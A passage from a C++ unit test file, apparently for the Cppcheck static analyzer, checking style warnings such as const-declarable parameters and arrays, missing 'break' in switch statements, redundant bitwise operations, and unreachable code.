\"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", 